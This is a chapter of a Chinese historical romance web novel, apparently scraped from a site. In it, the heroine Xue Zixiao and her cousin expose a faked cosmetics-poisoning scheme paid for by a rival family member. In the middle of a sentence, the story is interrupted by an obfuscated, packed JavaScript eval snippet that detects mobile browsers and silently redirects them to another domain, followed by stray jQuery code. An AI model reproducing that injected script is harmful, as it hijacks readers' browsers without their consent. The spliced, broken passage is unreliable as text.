次日,薛子翛重新恢复了一身男装,心情颇好地坐在膳厅,夹起一块梧桐特意为她做的荷花酥。层层酥脆的花瓣配上豆沙馅的花蕊,好看的让人舍不得下嘴。
薛子翛微微一笑,想起了昨夜那盏莲花灯,周身的气势如春风拂面一般,和煦了下来。
“少夫人。”梧桐的声音从身后传来,薛子翛回首看去。
身型小了一圈的裴钰着了一袭红衣,满面含笑地走来,看得出来,心情也很好。
裴钰在薛子翛身侧落座,还不等他拿起筷子,一碗粥便已放在了他的面前。裴钰偏头看去,二人相视一笑。眼波流转间,仿佛有什么不一样了,又仿佛什么都如先前一般无二。
无言的氛围在二人之间流转,梧桐悄声后退,生怕出声打扰了厅内带着几分旖旎的气氛。
不多时,远处走来一个人影,行迹匆匆,愁上眉间。
“少夫人。”梧桐往前几步,福福身。
“起吧,梧桐,表哥可在膳厅?”白姿姿语气有些急躁,细看双眼下方有些青黑,甚至连头发丝看起来都有些疲惫。
“回少夫人,公子和孙少夫人正在膳厅用早膳。”
闻言白姿姿愣了一晌:“孙?是了,差点忘了。”她朝梧桐点点头,快步向膳厅走去,“我险些忘了,那人在府中的身份是孙岚。”说话间,白姿姿似懊恼般摇摇头,伸手揉着自己的太阳穴,一脸疲色。
“表哥,姐姐,姿姿打扰了。”白姿姿的脚步声打破了膳厅中二人之间的无言的默契,在薛子翛身旁落座,拎起茶壶替自己倒了一杯茶。
白姿姿捧着温热的杯盏,仿佛这样茶水的温度就能给她带来力量似得。她久久不语,只叹了口气。薛子翛也不催,眼神温和带着几分问询。
“表哥,代你掌管商会的这些日子,我发现了自己在制香一途上似有些天份,便筹备着开了一间香粉铺子。这两个月来,铺子的生意兴隆,且口碑不错,积攒了不少回头客。只是……”白姿姿停顿了下来,好似不知该如何言说。
原来,两日前铺子出现了意外,有一个客人说用了铺子里的香粉后,竟面容生疮溃烂,怀疑这薛家香粉中有毒,触之便红肿溃烂流脓。
白姿姿好不容易安抚下那客人的情绪,表示三日内定会给她一个交代。可如今两日已过,她却还没能找出真相,这才来寻薛子翛相助。
薛子翛摸着自己的下巴,思索片刻,抬眸问道:“姿姿,你可有请大夫来查验过那盒香粉?”
白姿姿点点头,神色中俱是掩盖不住的疲惫:“自然是第一时间便请了几名大夫一同查验,不仅验了对方带来的那盒香粉,同时也验了铺子中出售的香粉。可结果,并无任何问题。”说着,她仿佛想到了什么,语气激动道,“表哥,这香粉从研制到调配我都亲自盯着,绝无错漏,不可能会有毒啊!”
薛子翛替她添了些茶水,拍了拍她的肩,安抚着她有些激动的情绪。
“那你可仔细确认过,那盒香粉确实是从铺子中售出,而非对方栽赃?”另一侧的裴钰凑了过来,问道。
白姿姿颔首,眉宇间俱是抚不平的愁思:“自然,出事的第一时间我就亲自检查了那盒香粉,无论是颜色、味道甚至盒子底部的印痕,都与铺子中出售的一模一样。”
薛子翛心中也觉得十分奇怪,她想了想道:“表妹莫急,这样吧,我让梧桐和墨雨陪你走一趟。”她看着对方疑惑的眼神,笑道,“梧桐的医术极好,让她再仔细替你查一查那香粉和药材,墨雨教程快武功好,若真有人暗中作梗,他也能护住你们。”
她脸上浅浅的笑容仿佛带着安定人心的能力,白姿姿只觉得自己心中的烦闷和担忧,奇异般的散去了些许。她看着薛子翛的眼睛,重重地点了点头。
薛子翛唤来梧桐和墨雨,嘱咐了几声,白姿姿便带着他们离去了。
“你不一起去看看吗?”裴钰问道。
薛子翛不紧不慢地饮了一口茶,道:“梧桐的医术不可小觑,墨雨嘛……”她笑了笑,“虽然平日里墨雨看起来傻愣愣的,但他遇上正事心思细腻,我相信他们二人合力必可将此事查清。”
裴钰看着她,忽然了然一笑:“知道了,若他们真的束手无策,你也不会袖手旁观。”
薛子翛白了他一眼,没好气道:“你说什么废话,那是我薛家的商行,我怎会置之不理。”
是夜,白姿姿兴冲冲地跑进院子,一把推开薛子翛的房门,带着无比明显的喜气,大声道:“表哥表哥,事情解决了。”她在桌边随意地坐下,也不待薛子翛回话,自顾自斟了茶,一饮而尽。
“如何?”薛子翛掀开珠帘,走了出来。
白姿姿褪去方才的喜色,放下手中杯盏,正色道:“梧桐查出那香粉中有一味兰芝草,那药直接熬煮时无毒,可若是捣碎出汁,触之便会溃烂。墨雨查了城中药铺,最后在城北偏僻的小铺子中得知有人买过那种药,依掌柜口述的那人长相,表哥你可知是谁?”
见白姿姿故作神秘,薛子翛微微一笑:“想来便是那面部生疮之人,自导自演、贼喊捉贼。”
“……”白姿姿一股气上不去下不了,卡在胸口。她伸手给了薛子翛一拳,“这就被你猜出来了,真没意思。”
薛子翛连连讨饶:“表妹今日可真真厉害,看来日后你替我掌管商行,不会再有不长眼的人说我枉为家主了。”
白姿姿自然明白薛子翛说得是谁,顿了顿,她问道:“表哥可知那人最后说了什么?她说是有人给了她一笔银钱,让她来栽赃香铺。背后之人当时虽然戴了兜帽,可她认得那人的声音,是薛家大公子,薛子炀!”
薛子翛的神色冷了下来,拂袖怒道:“我知道二叔绝不会轻易放弃,可我没想到,他竟能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428678|175514||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做出此等自损之事!若薛家商行信誉受损,所有的生意都会收到影响,届时即便他能上位,可损害的信誉却无法轻易复原。他、他简直……”
白姿姿有些担忧地看着她,拉过薛子翛的手,轻拍。
许是看见了表妹眼底的关心,薛子翛逐渐冷静下来,她朝白姿姿露出一个有些勉强的笑容:“表妹,二叔之事已有了些许眉目,商行之事还需拜托你多操心了。”
白姿姿嫣然一笑:“表哥说哪里话,能帮上忙我很高兴。对了,那日铺子出乱子时,毕家小姐正巧也在铺中,她还为我说了几句话。只可惜,被人嘲讽病秧子。”白姿姿垂下头,惋惜道,“毕小姐蕙质兰心、才华横溢,只可惜这病弱的身子,哎……”
陌生又熟悉的名字打开了薛子翛封存许久的记忆,她回想起重生初初时,应林府之邀,却被众人奚落嘲笑之时,唯有素昧平生的毕芸若,替她说话。
“在背后说人长短,非君子所为,即便我们只是女子,也不该这般。更何况,大户人家出来的,哪个人没有一些言不符实的传言呢?”
当年她掷地有声的话语清晰的在耳边响起,恍如昨日。
没想到数年之后,她依旧还是这般仗义执言。
“姿姿,你与毕姑娘可相识?”
白姿姿虽不明所以,却点了点头。
“那改日你将毕姑娘约出来,我让梧桐去替她瞧瞧,就当是……就当是感谢她数年前在林府花宴上为我说话。虽不算明言什么,可却是当时为流言所累的我,接受到的第一份来自外人的善意。而如今,她又能够为你冷静分析,止住了部分看客对此事的误会。我若是能报答一二,也能心安。”
白姿姿眼睛一亮,连声应道:“好好,那太好了,我明日便修书一封。时间不早了,表哥早些休息,姿姿告退。”她起身福福身,退了出去。
“笃笃笃”。
还不等薛子翛躺下,窗外传来轻微的声响。她掀开被子起身下床,堪堪将那窗户打开一道缝隙,一只浑身雪白的信鸽便顺着缝隙挤了进来。
它在房中飞了一圈,落在薛子翛的手腕上。薛子翛伸手轻抚信鸽,那鸽子竟好似通灵性般,在她指尖蹭了蹭。
薛子翛抿唇一笑,从信鸽脚上绑着的信筒之中抽出一张卷起的纸条,手腕一抖,信鸽顺势飞起,落在一旁的屏风上。
展开纸条,薛子翛细细阅读,神色肉眼可见变得明亮起来。
“太好了,有了当年那稳婆的供词,便可去老夫人曾经居住的宅院旁打探打探,想来总应该还有曾经见过她的人,仍存活于世吧。”
“我倒要看看,我这位好祖母,皮子底下藏着的,究竟是个什么样的人。或许,我该再去寻一寻,当年老夫人登堂入室之后,被遣散的那些下人。偌大一个薛家,下人何止十数,我倒不信她会尽数灭口,一定还会有知情之人。”